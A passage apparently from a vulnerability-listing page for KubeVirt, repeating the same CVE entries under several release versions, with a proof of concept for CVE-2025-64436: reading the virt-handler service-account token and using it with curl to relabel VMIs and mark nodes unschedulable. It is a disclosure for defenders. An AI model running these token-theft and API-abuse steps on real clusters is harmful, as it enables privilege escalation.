By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Jan 03, 2023

v0.58.0-rc.0 pre

14 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 02, 2022

v0.58.0 minor

14 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Oct 02, 2022

v0.49.1 minor

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

